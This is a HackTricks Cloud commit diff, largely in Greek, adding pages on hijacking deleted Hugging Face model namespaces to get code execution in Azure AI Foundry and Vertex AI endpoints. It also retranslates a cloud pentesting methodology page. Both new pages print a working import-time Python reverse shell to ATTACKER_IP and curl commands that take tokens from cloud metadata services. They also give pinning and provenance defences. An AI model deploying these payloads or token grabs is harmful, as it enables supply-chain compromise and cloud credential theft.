mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA
This commit is contained in:
@@ -1,3 +1,9 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+94
@@ -0,0 +1,94 @@
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Σενάριο
|
||||
|
||||
- Το Azure AI Foundry Model Catalog περιλαμβάνει πολλά μοντέλα Hugging Face (HF) για ανάπτυξη με ένα κλικ.
|
||||
- Οι αναγνωριστές μοντέλων HF είναι Author/ModelName. Αν ένας HF author/org διαγραφεί, οποιοσδήποτε μπορεί να επανεγγράψει αυτόν τον author και να δημοσιεύσει ένα μοντέλο με το ίδιο ModelName στο legacy path.
|
||||
- Pipelines και catalogs που τραβούν μόνο με όνομα (no commit pinning/integrity) θα επιλύονται σε attacker-controlled repos. Όταν το Azure αναπτύσσει το μοντέλο, ο loader code μπορεί να εκτελεστεί στο περιβάλλον του endpoint, παρέχοντας RCE με τα permissions του endpoint.
|
||||
|
||||
Συνηθισμένες περιπτώσεις takeover του HF:
|
||||
- Ownership deletion: Old path 404 until takeover.
|
||||
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
|
||||
|
||||
## Εντοπισμός Επαναχρησιμοποιήσιμων Namespaces (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
|
||||
# Check model path
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## Ολοκληρωμένη ροή επίθεσης κατά του Azure AI Foundry
|
||||
|
||||
1) Στο Model Catalog, εντόπισε HF μοντέλα των οποίων οι αρχικοί authors διαγράφηκαν ή μεταφέρθηκαν (ο παλιός author αφαιρέθηκε) στο HF.
|
||||
2) Επανακαταχώρησε τον εγκαταλελειμμένο author στο HF και αναδημιούργησε το ModelName.
|
||||
3) Δημοσίευσε ένα malicious repo με loader code που εκτελείται κατά το import ή απαιτεί trust_remote_code=True.
|
||||
4) Ανάπτυξε τον legacy Author/ModelName από το Azure AI Foundry. Η πλατφόρμα κατεβάζει το attacker repo· ο loader εκτελείται μέσα στο Azure endpoint container/VM, παρέχοντας RCE με endpoint permissions.
|
||||
|
||||
Παράδειγμα τμήματος payload που εκτελείται κατά το import (μόνο για επίδειξη):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Σημειώσεις
|
||||
- Οι αναπτύξεις του AI Foundry που ενσωματώνουν το HF συνήθως κάνουν clone και import repo modules που αναφέρονται στο model’s config (π.χ., auto_map), κάτι που μπορεί να προκαλέσει code execution. Ορισμένες διαδρομές απαιτούν trust_remote_code=True.
|
||||
- Η πρόσβαση συνήθως αντιστοιχεί στις permissions του endpoint (managed identity/service principal). Θεωρήστε το ως initial access foothold για data access και lateral movement εντός Azure.
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Καταγράψτε τις environment variables και τα MSI endpoints για tokens:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Ελέγξτε το mounted storage, τα model artifacts και τις προσβάσιμες Azure services με το αποκτηθέν token.
|
||||
- Εξετάστε το persistence αφήνοντας poisoned model artifacts εάν η πλατφόρμα επαναφορτώσει από το HF.
|
||||
|
||||
## Οδηγίες άμυνας για χρήστες του Azure AI Foundry
|
||||
|
||||
- Pin models by commit κατά τη φόρτωση από HF:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Κατοπτρίστε ελεγμένα μοντέλα HF σε ένα αξιόπιστο εσωτερικό registry και αναπτύξτε από εκεί.
|
||||
- Σαρώστε συνεχώς τα codebases και defaults/docstrings/notebooks για hard-coded Author/ModelName που έχουν διαγραφεί/μεταφερθεί; ενημερώστε ή pin-άρετε.
|
||||
- Επαληθεύστε την ύπαρξη του author και την προέλευση (provenance) του μοντέλου πριν από την ανάπτυξη.
|
||||
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Διαγραμμένος author: author page 404; legacy model path 404 until takeover.
|
||||
- Μεταφερμένο μοντέλο: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Διασταυρούμενες Αναφορές
|
||||
|
||||
- Δείτε την ευρύτερη μεθοδολογία και τις σημειώσεις για την supply-chain:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,3 +1,9 @@
|
||||
# GCP - Post Exploitation
|
||||
# GCP - Μετα-εκμετάλλευση
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Σενάριο
|
||||
|
||||
- Vertex AI Model Garden επιτρέπει την άμεση ανάπτυξη πολλών Hugging Face (HF) μοντέλων.
|
||||
- HF model identifiers are Author/ModelName. Εάν ένας author/org στο HF διαγραφεί, το ίδιο author name μπορεί να επανα-εγγραφεί από οποιονδήποτε. Οι attackers μπορούν τότε να δημιουργήσουν ένα repo με το ίδιο ModelName στη legacy path.
|
||||
- Pipelines, SDKs, or cloud catalogs που κάνουν fetch μόνο με το όνομα (no pinning/integrity) θα κατεβάσουν το attacker-controlled repo. Όταν το μοντέλο αναπτυχθεί, loader code από αυτό το repo μπορεί να εκτελεστεί μέσα στο Vertex AI endpoint container, δίνοντας RCE με τα permissions του endpoint.
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: Το παλιό path επιστρέφει 404 μέχρι κάποιος να επανα-εγγράψει τον author και να δημοσιεύσει το ίδιο ModelName.
|
||||
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. Εάν ο παλιός author αργότερα διαγραφεί και επανα-εγγραφεί από έναν attacker, η αλυσίδα redirect σπάει και το attacker’s repo σερβίρει στη legacy path.
|
||||
|
||||
## Εντοπισμός Επαναχρησιμοποιήσιμων Namespaces (HF)
|
||||
|
||||
- Old author deleted: η σελίδα για τον author επιστρέφει 404; το model path μπορεί να επιστρέψει 404 μέχρι takeover.
|
||||
- Transferred models: το παλιό model path εκδίδει 307 στον νέο owner όσο ο παλιός author υπάρχει. Εάν ο παλιός author αργότερα διαγραφεί και επανα-εγγραφεί, η legacy path θα επιλύεται στο attacker’s repo.
|
||||
|
||||
Γρήγοροι έλεγχοι με curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Ροή επίθεσης από άκρο σε άκρο κατά του Vertex AI
|
||||
|
||||
1) Ανακάλυψε επαναχρησιμοποιήσιμους namespaces μοντέλων που το Model Garden εμφανίζει ως deployable:
|
||||
- Εντόπισε HF models στο Vertex AI Model Garden που εξακολουθούν να εμφανίζουν “verified deployable”.
|
||||
- Επαλήθευσε στο HF αν ο αρχικός author έχει διαγραφεί ή αν το model μεταφέρθηκε και ο παλιός author αφαιρέθηκε αργότερα.
|
||||
|
||||
2) Επανεγγράψε τον διαγραμμένο author στο HF και αναδημιούργησε το ίδιο ModelName.
|
||||
|
||||
3) Δημοσίευσε ένα κακόβουλο repo. Συμπεριέλαβε κώδικα που εκτελείται κατά το model load. Παραδείγματα που συνήθως εκτελούνται κατά το HF model load:
|
||||
- Side effects στο __init__.py του repo
|
||||
- Προσαρμοσμένο modeling_*.py ή processing code που αναφέρεται από το config/auto_map
|
||||
- Διαδρομές κώδικα που απαιτούν trust_remote_code=True σε Transformers pipelines
|
||||
|
||||
4) Μια Vertex AI deployment του legacy Author/ModelName τώρα τραβάει το attacker repo. Ο loader εκτελείται μέσα στο Vertex AI endpoint container.
|
||||
|
||||
5) Το payload δημιουργεί πρόσβαση από το endpoint περιβάλλον (RCE) με τα permissions του endpoint.
|
||||
|
||||
Παράδειγμα αποσπάσματος payload που εκτελείται κατά το import (μόνο για επίδειξη):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Σημειώσεις
|
||||
- Στην πράξη, οι loaders ποικίλλουν. Πολλές Vertex AI HF integrations κλωνοποιούν και εισάγουν repo modules που αναφέρονται στο config του μοντέλου (π.χ. auto_map), κάτι που μπορεί να προκαλέσει εκτέλεση κώδικα. Κάποιες χρήσεις απαιτούν trust_remote_code=True.
|
||||
- Το endpoint τυπικά τρέχει σε ένα αφιερωμένο container με περιορισμένο πεδίο, αλλά αποτελεί έγκυρη αρχική εστία για πρόσβαση σε δεδομένα και lateral movement στο GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Μόλις code εκτελείται μέσα στο endpoint container, σκεφτείτε:
|
||||
- Εξερεύνηση των environment variables και του metadata για credentials/tokens
|
||||
- Πρόσβαση σε attached storage ή σε mounted model artifacts
|
||||
- Αλληλεπίδραση με Google APIs μέσω της ταυτότητας service account (Document AI, Storage, Pub/Sub, κ.λπ.)
|
||||
- Persistence στο model artifact σε περίπτωση που η πλατφόρμα re-pulls το repo
|
||||
|
||||
Καταγράψτε τα instance metadata αν είναι προσβάσιμα (container dependent):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Οδηγίες άμυνας για χρήστες Vertex AI
|
||||
|
||||
- Pin models by commit in HF loaders για να αποτρέψετε τη σιωπηλή αντικατάσταση:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Κατοπτρίστε ελεγμένα HF models σε ένα αξιόπιστο εσωτερικό artifact store/registry και αναπτύξτε από εκεί.
|
||||
- Σαρώστε συνεχώς codebases και configs για hard-coded Author/ModelName που έχουν διαγραφεί/μεταφερθεί· ενημερώστε σε νέα namespaces ή κλειδώστε σε συγκεκριμένο commit.
|
||||
- Στο Model Garden, επαληθεύστε την προέλευση του μοντέλου και την ύπαρξη του author πριν την ανάπτυξη.
|
||||
|
||||
## Ευριστικές αναγνώρισης (HTTP)
|
||||
|
||||
- Deleted author: author page 404; legacy model path 404 μέχρι την ανάληψη.
|
||||
- Transferred model: legacy path 307 προς νέο author ενώ ο παλιός author υπάρχει· αν ο παλιός author διαγραφεί αργότερα και επανα-καταχωρηθεί, το legacy path εξυπηρετεί περιεχόμενο attacker.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Διασταυρούμενες Αναφορές
|
||||
|
||||
- Δείτε τη γενικότερη μεθοδολογία και τις σημειώσεις για την εφοδιαστική αλυσίδα:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,44 +1,44 @@
|
||||
# Pentesting Cloud Methodology
|
||||
# Pentesting Cloud Μεθοδολογία
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Basic Methodology
|
||||
## Βασική Μεθοδολογία
|
||||
|
||||
Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που πρέπει να ελέγξει** ένας pentester όταν δοκιμάζει ένα περιβάλλον cloud:
|
||||
Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **συνηθισμένα πράγματα που ένας pentester πρέπει να ελέγξει** όταν δοκιμάζει ένα περιβάλλον cloud:
|
||||
|
||||
- **Έλεγχοι αναφοράς**
|
||||
- Αυτό θα σας βοηθήσει να **κατανοήσετε το μέγεθος** του περιβάλλοντος και τις **υπηρεσίες που χρησιμοποιούνται**
|
||||
- Θα σας επιτρέψει επίσης να βρείτε κάποιες **γρήγορες κακοδιαρθρώσεις**, καθώς μπορείτε να εκτελέσετε τις περισσότερες από αυτές τις δοκιμές με **αυτοματοποιημένα εργαλεία**
|
||||
- **Καταμέτρηση Υπηρεσιών**
|
||||
- Πιθανότατα δεν θα βρείτε πολλές περισσότερες κακοδιαρθρώσεις εδώ αν έχετε εκτελέσει σωστά τις δοκιμές αναφοράς, αλλά μπορεί να βρείτε κάποιες που δεν αναζητήθηκαν στις δοκιμές αναφοράς.
|
||||
- **Έλεγχοι benchmark**
|
||||
- Αυτό θα σας βοηθήσει να **κατανοήσετε το μέγεθος** του περιβάλλοντος και τις **χρησιμοποιούμενες υπηρεσίες**
|
||||
- Θα σας επιτρέψει επίσης να βρείτε μερικά **γρήγορα λάθη διαμόρφωσης** καθώς μπορείτε να εκτελέσετε τα περισσότερα από αυτά τα τεστ με **αυτοματοποιημένα εργαλεία**
|
||||
- **Ανακάλυψη υπηρεσιών**
|
||||
- Πιθανότατα δεν θα βρείτε πολλές επιπλέον λανθασμένες ρυθμίσεις εδώ αν εκτελέσατε σωστά τους ελέγχους benchmark, αλλά ίσως βρείτε μερικές που δεν αναζητήθηκαν στον έλεγχο benchmark.
|
||||
- Αυτό θα σας επιτρέψει να γνωρίζετε **τι ακριβώς χρησιμοποιείται** στο περιβάλλον cloud
|
||||
- Αυτό θα βοηθήσει πολύ στα επόμενα βήματα
|
||||
- **Έλεγχος εκτεθειμένων πόρων**
|
||||
- Αυτό μπορεί να γίνει κατά τη διάρκεια της προηγούμενης ενότητας, πρέπει να **ανακαλύψετε τα πάντα που είναι δυνητικά εκτεθειμένα** στο Διαδίκτυο με κάποιο τρόπο και πώς μπορεί να προσπελαστεί.
|
||||
- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως περιπτώσεις με ιστοσελίδες ή άλλες θύρες που είναι εκτεθειμένες, καθώς και σε άλλες **υπηρεσίες cloud που διαχειρίζονται** που μπορούν να ρυθμιστούν για να είναι εκτεθειμένες (όπως DBs ή buckets)
|
||||
- Στη συνέχεια, θα πρέπει να ελέγξετε **αν αυτός ο πόρος μπορεί να είναι εκτεθειμένος ή όχι** (εμπιστευτικές πληροφορίες; ευπάθειες; κακοδιαρθρώσεις στην εκτεθειμένη υπηρεσία;)
|
||||
- Αυτό μπορεί να γίνει κατά την προηγούμενη ενότητα· πρέπει να **εντοπίσετε οτιδήποτε ενδεχομένως εκτεθειμένο** στο Internet με κάποιο τρόπο και πώς μπορεί να προσεγγιστεί.
|
||||
- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως instances με ιστοσελίδες ή άλλα ports να είναι εκτεθειμένα, καθώς και σε άλλες **διαχειριζόμενες υπηρεσίες cloud που μπορούν να ρυθμιστούν** να είναι εκτεθειμένες (όπως DBs ή buckets)
|
||||
- Έπειτα πρέπει να ελέγξετε **αν αυτός ο πόρος μπορεί να εκτεθεί ή όχι** (εμπιστευτικές πληροφορίες; ευπάθειες; λάθη διαμόρφωσης στην εκτεθειμένη υπηρεσία?)
|
||||
- **Έλεγχος δικαιωμάτων**
|
||||
- Εδώ θα πρέπει να **ανακαλύψετε όλα τα δικαιώματα κάθε ρόλου/χρήστη** μέσα στο cloud και πώς χρησιμοποιούνται
|
||||
- Πάρα **πολλοί υψηλά προνομιούχοι** (έχουν έλεγχο σε όλα) λογαριασμοί; Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις ελέγχους θα έπρεπε να έχουν γίνει ήδη στις δοκιμές αναφοράς
|
||||
- Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **ομοσπονδία**, μπορεί να χρειαστεί να τους ρωτήσετε για περαιτέρω **πληροφορίες** σχετικά με **πώς ανατίθεται κάθε ρόλος** (δεν είναι το ίδιο να ανατίθεται ο ρόλος του διαχειριστή σε 1 χρήστη ή σε 100)
|
||||
- Δεν είναι **αρκετό να βρείτε** ποιους χρήστες έχουν **δικαιώματα διαχειριστή** "\*:\*". Υπάρχουν πολλά **άλλα δικαιώματα** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορεί να είναι πολύ **ευαίσθητα**.
|
||||
- Επιπλέον, υπάρχουν **πιθανές διαδρομές privesc** που μπορούν να ακολουθηθούν εκμεταλλευόμενοι τα δικαιώματα. Όλα αυτά τα πράγματα θα πρέπει να ληφθούν υπόψη και **όσες περισσότερες διαδρομές privesc είναι δυνατόν** θα πρέπει να αναφερθούν.
|
||||
- **Έλεγχος Ενοποιήσεων**
|
||||
- Είναι πολύ πιθανό ότι **ενοποιήσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο περιβάλλον cloud.
|
||||
- Για τις **ενοποιήσεις του cloud που ελέγχετε** με άλλη πλατφόρμα, θα πρέπει να ενημερώσετε **ποιος έχει πρόσβαση για (κακή) χρήση αυτής της ενοποίησης** και θα πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\
|
||||
Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από το οποίο το GCP αποκτά δεδομένα (ρωτήστε πόσο ευαίσθητη είναι η ενέργεια στο GCP που επεξεργάζεται αυτά τα δεδομένα).
|
||||
- Για **ενοποιήσεις μέσα στο cloud που ελέγχετε** από εξωτερικές πλατφόρμες, θα πρέπει να ρωτήσετε **ποιος έχει πρόσβαση εξωτερικά για (κακή) χρήση αυτής της ενοποίησης** και να ελέγξετε πώς χρησιμοποιούνται αυτά τα δεδομένα.\
|
||||
Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί μια εικόνα Docker που φιλοξενείται στο GCR, θα πρέπει να ρωτήσετε ποιος έχει πρόσβαση για να την τροποποιήσει και ποιες ευαίσθητες πληροφορίες και πρόσβαση θα αποκτήσει αυτή η εικόνα όταν εκτελείται μέσα σε ένα AWS cloud.
|
||||
- Εδώ πρέπει να **εντοπίσετε όλα τα δικαιώματα κάθε ρόλου/χρήστη** μέσα στο cloud και πώς χρησιμοποιούνται
|
||||
- Πολλοί λογαριασμοί με **υψηλά προνόμια** (ελέγχουν τα πάντα); Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότεροι από αυτούς τους ελέγχους θα έπρεπε να έχουν γίνει ήδη στους ελέγχους benchmark
|
||||
- Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **federation** ίσως χρειαστεί να τους ζητήσετε περαιτέρω **πληροφορίες** για το **πώς ανατίθεται κάθε ρόλος** (δεν είναι το ίδιο αν ο ρόλος admin έχει ανατεθεί σε 1 χρήστη ή σε 100)
|
||||
- Δεν αρκεί να βρείτε ποιοι χρήστες έχουν δικαιώματα **admin** "\*:\*". Υπάρχουν πολλά **άλλα δικαιώματα** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορούν να είναι πολύ **ευαίσθητα**.
|
||||
- Επιπλέον, υπάρχουν **πιθανοί privesc** τρόποι που μπορούν να ακολουθηθούν καταχρώμενοι τα δικαιώματα. Όλα αυτά πρέπει να ληφθούν υπόψη και **όσες περισσότερες privesc διαδρομές γίνεται** θα πρέπει να αναφερθούν.
|
||||
- **Έλεγχος Integrations**
|
||||
- Είναι πολύ πιθανό ότι **ενσωματώσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο περιβάλλον cloud.
|
||||
- Για **ενσωματώσεις του cloud που ελέγχετε** με άλλες πλατφόρμες πρέπει να ενημερώσετε **ποιος έχει πρόσβαση να (κακο)χρησιμοποιήσει αυτή την ενσωμάτωση** και πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\
|
||||
Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από όπου το GCP λαμβάνει δεδομένα (ρωτήστε πόσο ευαίσθητη είναι η ενέργεια στο GCP κατά την επεξεργασία αυτών των δεδομένων).
|
||||
- Για **ενσωματώσεις μέσα στο cloud που ελέγχετε** από εξωτερικές πλατφόρμες, θα πρέπει να ρωτήσετε **ποιος έχει εξωτερική πρόσβαση να (κακο)χρησιμοποιήσει αυτή την ενσωμάτωση** και να ελέγξετε πώς χρησιμοποιούνται τα δεδομένα.\
|
||||
Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί ένα Docker image φιλοξενούμενο στο GCR, πρέπει να ρωτήσετε ποιος έχει πρόσβαση να το τροποποιήσει και ποιες ευαίσθητες πληροφορίες και πρόσβαση θα αποκτήσει αυτό το image όταν εκτελεστεί μέσα σε ένα AWS cloud.
|
||||
|
||||
## Multi-Cloud tools
|
||||
## Multi-Cloud εργαλεία
|
||||
|
||||
Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά περιβάλλοντα cloud. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφέρονται σε αυτή την ενότητα.
|
||||
Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσετε διαφορετικά περιβάλλοντα cloud. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφερθούν σε αυτή την ενότητα.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
Ένα εργαλείο για **να εντοπίσετε κακές ρυθμίσεις και διαδρομές privesc σε clouds και σε διάφορα clouds/SaaS.**
|
||||
Ένα εργαλείο για να **εντοπίζει κακές διαμορφώσεις και privesc path σε clouds και μεταξύ clouds/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Υποστηρίζει **AWS, GCP & Azure**. Ελέγξτε πώς να ρυθμίσετε κάθε πάροχο στο [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Υποστηρίζει **AWS, GCP & Azure**. Δείτε πώς να ρυθμίσετε κάθε πάροχο στο [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -91,7 +91,7 @@ prowler <provider> --list-services
|
||||
AWS, Azure, Github, Google, Oracle, Alibaba
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Εγκατάσταση" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/aquasecurity/cloudsploit.git
|
||||
@@ -115,7 +115,7 @@ npm install
|
||||
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Εγκατάσταση" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
mkdir scout; cd scout
|
||||
virtualenv -p python3 venv
|
||||
@@ -145,8 +145,8 @@ done
|
||||
### [Steampipe](https://github.com/turbot)
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Εγκατάσταση" }}
|
||||
Κατεβάστε και εγκαταστήστε το Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ή χρησιμοποιήστε το Brew:
|
||||
{{#tab name="Install" }}
|
||||
Κατεβάστε και εγκαταστήστε Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ή χρησιμοποιήστε Brew:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -168,9 +168,9 @@ steampipe check all
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Έλεγχος όλων των Έργων</summary>
|
||||
<summary>Έλεγχος όλων των Projects</summary>
|
||||
|
||||
Για να ελέγξετε όλα τα έργα, πρέπει να δημιουργήσετε το αρχείο `gcp.spc` υποδεικνύοντας όλα τα έργα που πρέπει να δοκιμαστούν. Μπορείτε απλώς να ακολουθήσετε τις οδηγίες από το παρακάτω σενάριο.
|
||||
Για να ελέγξετε όλα τα projects πρέπει να δημιουργήσετε το αρχείο `gcp.spc` που υποδεικνύει όλα τα projects για δοκιμή. Μπορείτε απλά να ακολουθήσετε τις οδηγίες από το παρακάτω script
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Για να ελέγξετε **άλλες πληροφορίες GCP** (χρήσιμες για την καταμέτρηση υπηρεσιών) χρησιμοποιήστε: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Για να δείτε άλλες πληροφορίες GCP (χρήσιμες για την ανακάλυψη υπηρεσιών) χρησιμοποιήστε: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Για να ελέγξετε τον κώδικα Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Για να ελέγξετε Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Περισσότερα plugins GCP του Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Περισσότερα GCP plugins του Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Για να ελέγξετε τον κώδικα Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
Για να ελέγξετε τον κώδικα Terraform για AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Περισσότερα plugins AWS του Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Περισσότερα AWS plugins για το Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
